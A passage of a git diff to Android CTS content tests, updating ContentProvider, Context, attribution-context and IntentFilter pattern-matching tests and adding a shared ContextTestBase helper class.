                 AUTHORITY, OPS);
 
         testTimeout(() -> mContentProviderClient.applyBatch(AUTHORITY, OPS));
 
-        verify(mIContentProvider).applyBatch(PACKAGE_NAME, FEATURE_ID, AUTHORITY, OPS);
+        verify(mIContentProvider).applyBatch(mAttributionSource, AUTHORITY, OPS);
     }
 
     public void testCall() throws RemoteException {
         mContentProviderClient.call(AUTHORITY, METHOD, ARG, ARGS);
 
-        verify(mIContentProvider).call(PACKAGE_NAME, FEATURE_ID, AUTHORITY, METHOD, ARG, ARGS);
+        verify(mIContentProvider).call(mAttributionSource, AUTHORITY, METHOD, ARG, ARGS);
     }
 
     public void testCallTimeout() throws RemoteException, InterruptedException {
-        doAnswer(ANSWER_SLEEP).when(mIContentProvider).call(PACKAGE_NAME, FEATURE_ID, AUTHORITY,
+        doAnswer(ANSWER_SLEEP).when(mIContentProvider).call(mAttributionSource, AUTHORITY,
                 METHOD, ARG, ARGS);
 
         testTimeout(() -> mContentProviderClient.call(AUTHORITY, METHOD, ARG, ARGS));
 
-        verify(mIContentProvider).call(PACKAGE_NAME, FEATURE_ID, AUTHORITY, METHOD, ARG, ARGS);
+        verify(mIContentProvider).call(mAttributionSource, AUTHORITY, METHOD, ARG, ARGS);
     }
 
     private void testTimeout(Function function) throws InterruptedException {
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderTest.java b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
index 0e1172a..b53f9f8 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
@@ -16,11 +16,13 @@
 
 package android.content.cts;
 
+import static org.testng.Assert.assertThrows;
+
 import android.content.ContentProvider;
+import android.content.ContentProvider.CallingIdentity;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
-import android.content.ContentProvider.CallingIdentity;
 import android.content.pm.PackageManager;
 import android.content.pm.ProviderInfo;
 import android.database.Cursor;
@@ -28,10 +30,9 @@
 import android.net.Uri;
 import android.os.Binder;
 import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
 import android.test.AndroidTestCase;
 
-import android.content.cts.R;
-
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
@@ -260,6 +261,31 @@
                 provider.checkUriPermission(uri, android.os.Process.myUid(), 0));
     }
 
+    public void testCreateContentUriForUser_nullUri_throwsNPE() {
+        assertThrows(
+                NullPointerException.class,
+                () -> ContentProvider.createContentUriForUser(null, UserHandle.of(7)));
+    }
+
+    public void testCreateContentUriForUser_nonContentUri_throwsIAE() {
+        final Uri uri = Uri.parse("notcontent://test");
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> ContentProvider.createContentUriForUser(uri, UserHandle.of(7)));
+    }
+
+    public void testCreateContentUriForUser_UriWithDifferentUserID_throwsIAE() {
+        final Uri uri = Uri.parse("content://07@test");
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> ContentProvider.createContentUriForUser(uri, UserHandle.of(7)));
+    }
+
+    public void testCreateContentUriForUser_UriWithUserID_unchanged() {
+        final Uri uri = Uri.parse("content://7@test");
+        assertEquals(uri, ContentProvider.createContentUriForUser(uri, UserHandle.of(7)));
+    }
+
     private class MockContentProvider extends ContentProvider {
         private int mInsertCount = 0;
 
diff --git a/tests/tests/content/src/android/content/cts/ContextAccessTest.java b/tests/tests/content/src/android/content/cts/ContextAccessTest.java
deleted file mode 100644
index 52f2812..0000000
--- a/tests/tests/content/src/android/content/cts/ContextAccessTest.java
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.content.cts;
-
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
-import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.app.Activity;
-import android.app.Service;
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.content.Intent;
-import android.content.res.Configuration;
-import android.graphics.PixelFormat;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.media.ImageReader;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.platform.test.annotations.Presubmit;
-import android.view.Display;
-
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.filters.SmallTest;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.rule.ServiceTestRule;
-
-import org.junit.Rule;
-import org.junit.Test;
-
-import java.util.concurrent.TimeoutException;
-
-/**
- * Test for {@link Context#getDisplay()}.
- * <p>Test context type listed below:</p>
- * <ul>
- *     <li>{@link android.app.Application} - throw exception</li>
- *     <li>{@link Service} - throw exception</li>
- *     <li>{@link Activity} - get {@link Display} entity</li>
- *     <li>Context via {@link Context#createWindowContext(int, Bundle)}
- *     - get {@link Display} entity</li>
- *     <li>Context via {@link Context#createDisplayContext(Display)}
- *     - get {@link Display} entity</li>
- *     <li>Context derived from display context
- *     - get {@link Display} entity</li>
- *     <li>{@link ContextWrapper} with base display-associated {@link Context}
- *     - get {@link Display} entity</li>
- *     <li>{@link ContextWrapper} with base non-display-associated {@link Context}
- *     - get {@link Display} entity</li>
- * </ul>
- *
- * <p>Build/Install/Run:
- *     atest CtsContentTestCases:ContextAccessTest
- */
-@Presubmit
-@SmallTest
-public class ContextAccessTest {
-    private Context mContext = ApplicationProvider.getApplicationContext();
-
-    @Rule
-    public final ActivityTestRule<MockActivity> mActivityRule =
-            new ActivityTestRule<>(MockActivity.class);
-
-    @Test(expected = UnsupportedOperationException.class)
-    public void testGetDisplayFromApplication() {
-        mContext.getDisplay();
-    }
-
-    @Test(expected = UnsupportedOperationException.class)
-    public void testGetDisplayFromService() throws TimeoutException {
-        getTestService().getDisplay();
-    }
-
-    @Test
-    public void testGetDisplayFromActivity() throws Throwable {
-        final Display d = getTestActivity().getDisplay();
-
-        assertNotNull("Display must be accessible from visual components", d);
-    }
-
-    @Test
-    public void testGetDisplayFromDisplayContext() {
-        final Display display = mContext.getSystemService(DisplayManager.class)
-                .getDisplay(DEFAULT_DISPLAY);
-        Context displayContext = mContext.createDisplayContext(display);
-
-        assertEquals(display, displayContext.getDisplay());
-    }
-
-    @Test
-    public void testGetDisplayFromDisplayContextDerivedContextOnPrimaryDisplay() {
-        verifyGetDisplayFromDisplayContextDerivedContext(false /* onSecondaryDisplay */);
-    }
-
-    @Test
-    public void testGetDisplayFromDisplayContextDerivedContextOnSecondaryDisplay() {
-        verifyGetDisplayFromDisplayContextDerivedContext(true /* onSecondaryDisplay */);
-    }
-
-    private void verifyGetDisplayFromDisplayContextDerivedContext(
-            boolean onSecondaryDisplay) {
-        final DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-        final Display display;
-        if (onSecondaryDisplay) {
-            display = getSecondaryDisplay(displayManager);
-        } else {
-            display = displayManager.getDisplay(DEFAULT_DISPLAY);
-        }
-        final Context context = mContext.createDisplayContext(display)
-                .createConfigurationContext(new Configuration());
-        assertEquals(display, context.getDisplay());
-    }
-
-    private static Display getSecondaryDisplay(DisplayManager displayManager) {
-        final int width = 800;
-        final int height = 480;
-        final int density = 160;
-        ImageReader reader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888,
-                2 /* maxImages */);
-        VirtualDisplay virtualDisplay = displayManager.createVirtualDisplay(
-                ContextTest.class.getName(), width, height, density, reader.getSurface(),
-                VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY);
-        return virtualDisplay.getDisplay();
-    }
-
-    @Test
-    public void testGetDisplayFromWindowContext() {
-        final Display display = mContext.getSystemService(DisplayManager.class)
-                .getDisplay(DEFAULT_DISPLAY);
-        Context windowContext =  mContext.createDisplayContext(display)
-                .createWindowContext(TYPE_APPLICATION_OVERLAY, null /*  options */);
-        assertEquals(display, windowContext.getDisplay());
-    }
-
-    @Test
-    public void testGetDisplayFromVisualWrapper() throws Throwable {
-        final Display d = new ContextWrapper(getTestActivity()).getDisplay();
-
-        assertNotNull("Display must be accessible from visual components", d);
-    }
-
-    @Test(expected = UnsupportedOperationException.class)
-    public void testGetDisplayFromNonVisualWrapper() {
-        ContextWrapper wrapper = new ContextWrapper(mContext);
-        wrapper.getDisplay();
-    }
-
-    private Activity getTestActivity() throws Throwable {
-        MockActivity[] activity = new MockActivity[1];
-        mActivityRule.runOnUiThread(() -> {
-            activity[0] = mActivityRule.getActivity();
-        });
-        return activity[0];
-    }
-
-    private Service getTestService() throws TimeoutException {
-        final Intent intent = new Intent(mContext.getApplicationContext(), MockService.class);
-        final ServiceTestRule serviceRule = new ServiceTestRule();
-        IBinder serviceToken;
-        serviceToken = serviceRule.bindService(intent);
-        return ((MockService.MockBinder) serviceToken).getService();
-    }
-}
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index f6f7cf5..0799704 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -16,6 +16,9 @@
 
 package android.content.cts;
 
+import static android.content.pm.PackageManager.PERMISSION_DENIED;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import android.app.Activity;
@@ -23,9 +26,11 @@
 import android.app.Instrumentation;
 import android.app.WallpaperManager;
 import android.content.ActivityNotFoundException;
+import android.content.AttributionSource;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.ContextParams;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
@@ -74,7 +79,9 @@
 import java.io.InputStream;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashSet;
 import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
 
 @AppModeFull // TODO(Instant) Figure out which APIs should work.
 public class ContextTest extends AndroidTestCase {
@@ -191,6 +198,64 @@
         }
     }
 
+    public void testCreateAttributionContext() throws Exception {
+        final String tag = "testCreateAttributionContext";
+        final Context attrib = mContext.createAttributionContext(tag);
+        assertEquals(tag, attrib.getAttributionTag());
+        assertEquals(null, mContext.getAttributionTag());
+    }
+
+    public void testCreateAttributionContextFromParams() throws Exception {
+        final ContextParams params = new ContextParams.Builder()
+                .setAttributionTag("foo")
+                .setNextAttributionSource(new AttributionSource.Builder(1)
+                        .setPackageName("bar")
+                        .setAttributionTag("baz")
+                        .build())
+                .build();
+        final Context attributionContext = getContext().createContext(params);
+
+        assertEquals(params, attributionContext.getParams());
+        assertEquals(params.getNextAttributionSource(),
+                attributionContext.getAttributionSource().getNext());
+        assertEquals(params.getAttributionTag(),
+                attributionContext.getAttributionSource().getAttributionTag());
+    }
+
+    public void testContextParams() throws Exception {
+        final ContextParams params = new ContextParams.Builder()
+                .setAttributionTag("foo")
+                .setNextAttributionSource(new AttributionSource.Builder(1)
+                        .setPackageName("bar")
+                        .setAttributionTag("baz")
+                        .build())
+                .build();
+
+        assertEquals("foo", params.getAttributionTag());
+        assertEquals(1, params.getNextAttributionSource().getUid());
+        assertEquals("bar", params.getNextAttributionSource().getPackageName());
+        assertEquals("baz", params.getNextAttributionSource().getAttributionTag());
+    }
+
+    public void testContextParams_Inherit() throws Exception {
+        final ContextParams orig = new ContextParams.Builder()
+                .setAttributionTag("foo").build();
+        {
+            final ContextParams params = new ContextParams.Builder(orig).build();
+            assertEquals("foo", params.getAttributionTag());
+        }
+        {
+            final ContextParams params = new ContextParams.Builder(orig)
+                    .setAttributionTag("bar").build();
+            assertEquals("bar", params.getAttributionTag());
+        }
+        {
+            final ContextParams params = new ContextParams.Builder(orig)
+                    .setAttributionTag(null).build();
+            assertEquals(null, params.getAttributionTag());
+        }
+    }
+
     /**
      * Ensure that default and device encrypted storage areas are stored
      * separately on disk. All devices must support these storage areas, even if
@@ -1131,6 +1196,21 @@
         mContext.unregisterReceiver(stickyReceiver);
     }
 
+    public void testCheckCallingOrSelfUriPermissions() {
+        List<Uri> uris = new ArrayList<>();
+        Uri uri1 = Uri.parse("content://ctstest1");
+        uris.add(uri1);
+        Uri uri2 = Uri.parse("content://ctstest2");
+        uris.add(uri2);
+
+        int[] retValue = mContext.checkCallingOrSelfUriPermissions(uris,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertEquals(retValue.length, 2);
+        // This package does not have access to the given URIs
+        assertEquals(PERMISSION_DENIED, retValue[0]);
+        assertEquals(PERMISSION_DENIED, retValue[1]);
+    }
+
     public void testCheckCallingOrSelfUriPermission() {
         Uri uri = Uri.parse("content://ctstest");
 
@@ -1328,6 +1408,28 @@
         }.run();
     }
 
+    public void testCheckUriPermissions() {
+        List<Uri> uris = new ArrayList<>();
+        Uri uri1 = Uri.parse("content://ctstest1");
+        uris.add(uri1);
+        Uri uri2 = Uri.parse("content://ctstest2");
+        uris.add(uri2);
+
+        // Root has access to all URIs
+        int[] retValue = mContext.checkUriPermissions(uris, Binder.getCallingPid(), 0,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertEquals(retValue.length, 2);
+        assertEquals(PERMISSION_GRANTED, retValue[0]);
+        assertEquals(PERMISSION_GRANTED, retValue[1]);
+
+        retValue = mContext.checkUriPermissions(uris, Binder.getCallingPid(),
+                Binder.getCallingUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertEquals(retValue.length, 2);
+        // This package does not have access to the given URIs
+        assertEquals(PERMISSION_DENIED, retValue[0]);
+        assertEquals(PERMISSION_DENIED, retValue[1]);
+    }
+
     public void testCheckUriPermission1() {
         Uri uri = Uri.parse("content://ctstest");
 
@@ -1354,6 +1456,21 @@
         assertEquals(PackageManager.PERMISSION_DENIED, retValue);
     }
 
+    public void testCheckCallingUriPermissions() {
+        List<Uri> uris = new ArrayList<>();
+        Uri uri1 = Uri.parse("content://ctstest1");
+        uris.add(uri1);
+        Uri uri2 = Uri.parse("content://ctstest2");
+        uris.add(uri2);
+
+        int[] retValue = mContext.checkCallingUriPermissions(uris,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertEquals(retValue.length, 2);
+        // This package does not have access to the given URIs
+        assertEquals(PERMISSION_DENIED, retValue[0]);
+        assertEquals(PERMISSION_DENIED, retValue[1]);
+    }
+
     public void testCheckCallingUriPermission() {
         Uri uri = Uri.parse("content://ctstest");
 
diff --git a/tests/tests/content/src/android/content/cts/ContextTestBase.java b/tests/tests/content/src/android/content/cts/ContextTestBase.java
new file mode 100644
index 0000000..32ac006
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ContextTestBase.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import android.app.Activity;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.IBinder;
+import android.view.Display;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.rule.ServiceTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Used for providing various kinds of contexts. This test base often used for verifying APIs
+ * which have different behaviors on different kinds of {@link Context}s
+ */
+public class ContextTestBase {
+    public Context mApplicationContext = ApplicationProvider.getApplicationContext();
+    private Display mDefaultDisplay;
+    private Display mSecondaryDisplay;
+
+    @Rule
+    public final ActivityTestRule<MockActivity> mActivityRule =
+            new ActivityTestRule<>(MockActivity.class);
+
+    @Before
+    public final void setUp() {
+        final DisplayManager dm = mApplicationContext.getSystemService(DisplayManager.class);
+        mDefaultDisplay = dm.getDisplay(DEFAULT_DISPLAY);
+        mSecondaryDisplay = createSecondaryDisplay();
+    }
+
+    private Display createSecondaryDisplay() {
+        final DisplayManager displayManager = mApplicationContext
+                .getSystemService(DisplayManager.class);
+        final int width = 800;
+        final int height = 480;
+        final int density = 160;
+        ImageReader reader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888,
+                2 /* maxImages */);
+        VirtualDisplay virtualDisplay = displayManager.createVirtualDisplay(
+                ContextTest.class.getName(), width, height, density, reader.getSurface(),
+                VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY);
+        return virtualDisplay.getDisplay();
+    }
+
+    public Display getDefaultDisplay() {
+        return mDefaultDisplay;
+    }
+
+    public Display getSecondaryDisplay() {
+        return mSecondaryDisplay;
+    }
+
+    public Context createWindowContext() {
+        return mApplicationContext.createDisplayContext(mDefaultDisplay).createWindowContext(
+                TYPE_APPLICATION_OVERLAY, null /* options */);
+    }
+
+    public Activity getTestActivity() throws Throwable {
+        MockActivity[] activity = new MockActivity[1];
+        mActivityRule.runOnUiThread(() -> activity[0] = mActivityRule.getActivity());
+        return activity[0];
+    }
+
+    public Service createTestService() throws TimeoutException {
+        final Intent intent = new Intent(mApplicationContext, MockService.class);
+        final ServiceTestRule serviceRule = new ServiceTestRule();
+        IBinder serviceToken;
+        serviceToken = serviceRule.bindService(intent);
+        return ((MockService.MockBinder) serviceToken).getService();
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/IntentFilterTest.java b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
index 9888891..663cbfa 100644
--- a/tests/tests/content/src/android/content/cts/IntentFilterTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
@@ -21,9 +21,11 @@
 import static android.content.IntentFilter.MATCH_CATEGORY_SCHEME_SPECIFIC_PART;
 import static android.content.IntentFilter.MATCH_CATEGORY_TYPE;
 import static android.content.IntentFilter.NO_MATCH_DATA;
+import static android.os.PatternMatcher.PATTERN_ADVANCED_GLOB;
 import static android.os.PatternMatcher.PATTERN_LITERAL;
 import static android.os.PatternMatcher.PATTERN_PREFIX;
 import static android.os.PatternMatcher.PATTERN_SIMPLE_GLOB;
+import static android.os.PatternMatcher.PATTERN_SUFFIX;
 
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -397,25 +399,38 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ssp"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp12"));
         filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"ssp.*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
+                null, null, null, null, new String[]{"p1", "sp", ".file"},
+                new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX, PATTERN_SUFFIX});
         checkMatches(filter,
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:2ssp"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:something.file"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
+                MatchCondition.data(NO_MATCH_DATA, "scheme:ssp12"));
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+                                PATTERN_SIMPLE_GLOB)},
+                MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ss"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{".*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a1*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1b"),
@@ -423,10 +438,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a1*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
@@ -434,10 +450,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a11"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a\\.*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -445,10 +462,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a[.1-2]*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -456,10 +474,11 @@
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -467,10 +486,11 @@
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.\\*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*b"),
@@ -478,10 +498,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.\\*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*"),
@@ -489,6 +510,12 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"));
     }
 
+    private Match filterForSchemeAndSchemeSpecificPart(String scheme, String ssp, int matchType) {
+        return new Match(null, null, null, new String[]{scheme},
+                null, null, null, null, new String[]{ssp},
+                new int[]{matchType});
+    }
+
     public void testSchemeSpecificPartsWithWildCards() throws Exception {
         IntentFilter filter = new Match(null, null, null, new String[]{"scheme"},
                 null, null, null, null, new String[]{"ssp1"},
@@ -1111,6 +1138,25 @@
         }
 
         mIntentFilter = new IntentFilter();
+        for (i = 0; i < 10; i++) {
+            mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+        }
+        assertEquals(10, mIntentFilter.countDataPaths());
+        iter = mIntentFilter.pathsIterator();
+        i = 0;
+        while (iter.hasNext()) {
+            actual = iter.next();
+            assertEquals(DATA_PATH + i, actual.getPath());
+            assertEquals(PatternMatcher.PATTERN_SUFFIX, actual.getType());
+            PatternMatcher p = new PatternMatcher(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
